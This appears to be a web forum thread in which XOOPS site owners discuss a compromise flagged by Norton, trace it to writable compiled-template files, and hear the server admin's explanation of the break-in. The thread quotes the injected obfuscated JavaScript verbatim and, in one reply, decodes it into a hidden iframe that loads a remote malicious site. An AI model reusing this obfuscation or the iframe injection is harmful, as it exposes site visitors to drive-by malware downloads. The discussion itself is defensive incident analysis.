Norton detected virus on my XOOPS site

I am building a new site for XOOPS 2.2 and MarcoFr reported virus
Quote:

Norton detects several viruses :
. Downloader.Trojan
. Bloodhound.Exploit.6


After checking the source code, I found one line just before
<script language="javascript" type="text/javascript">var k='?gly#vw|oh@%ylvlelolw|=#klgghq>#srvlwlrq=#devroxwh>#ohiw=#4>#wrs=#4%A?liudph#vuf@%kwws=22xvhu431liudph1ux2Bv@4%#iudpherughu@3#yvsdfh@3#kvsdfh@3#zlgwk@4#khljkw@4#pdujlqzlgwk@3#pdujlqkhljkw@3#vfuroolqj@qrA?2liudphA?2glyA',t=0,h='';while(t<=k.length-1){h=h+String.fromCharCode(k.charCodeAt(t++)-3);}document.write(h);script>


What does it mean?
How could the scripts be generated?
If anyone happens to have same experiences, would be an interesting topic

Additional:
1 the scripts disappeard after I re-uploaded the "default" them
2 I think there is virus on my computer (WinXP)

I was hit by something similar this weekend, someone managed to run an infected php file from my site. It appeared to be inside the theme. I didn't dig into it for fear of further contamination so I reinstalled the whole site.

Do you have the Protector module installed?

If not, I advise you to do so.

I am very curious about how these attacks took place, so we can see if a vulnerability in XOOPS was used or (more likely) another vulnerability was used giving access to the webserver.

It is an experimental site solely for XOOPS 2.2 and no modules other than system, profile, pm and CBB will be installed at this moment, for this purpose.


I have some other sites on the same server, only one site ever had the problem.

follow up:
The files in template_c, mainly compiled theme files are hacked with that line.

I also have a plog site hacked.

We have not found out the hole but seems that it is not a XOOPS specific problem.

Re: Norton detected virus on my XOOPS site

just out of curiousity, I wanted to see what it said and this is the result:
<div style="visibility: hidden; position: absolute; left: 1; top: 1;">
    <iframe src="http://user10.iframe.ru/?s=1" frameborder=0 vspace=0 hspace=0 width=1 height=1 marginwidth=0 marginheight=0 scrolling=no>iframe>
div>

Looks very similar to the discussion in This Thread.

got confirmation from server admin:

The hacker exploited a vulnerable ***** installation to get in to the server.
...
Basically, if you keep your folder or files world writeable a hacker can easily put his code in your files. So avoid keeping the files 777.


***** -- a famous bulletin board system

the folder or files with 777 are XOOPS/template_c, but it is required.
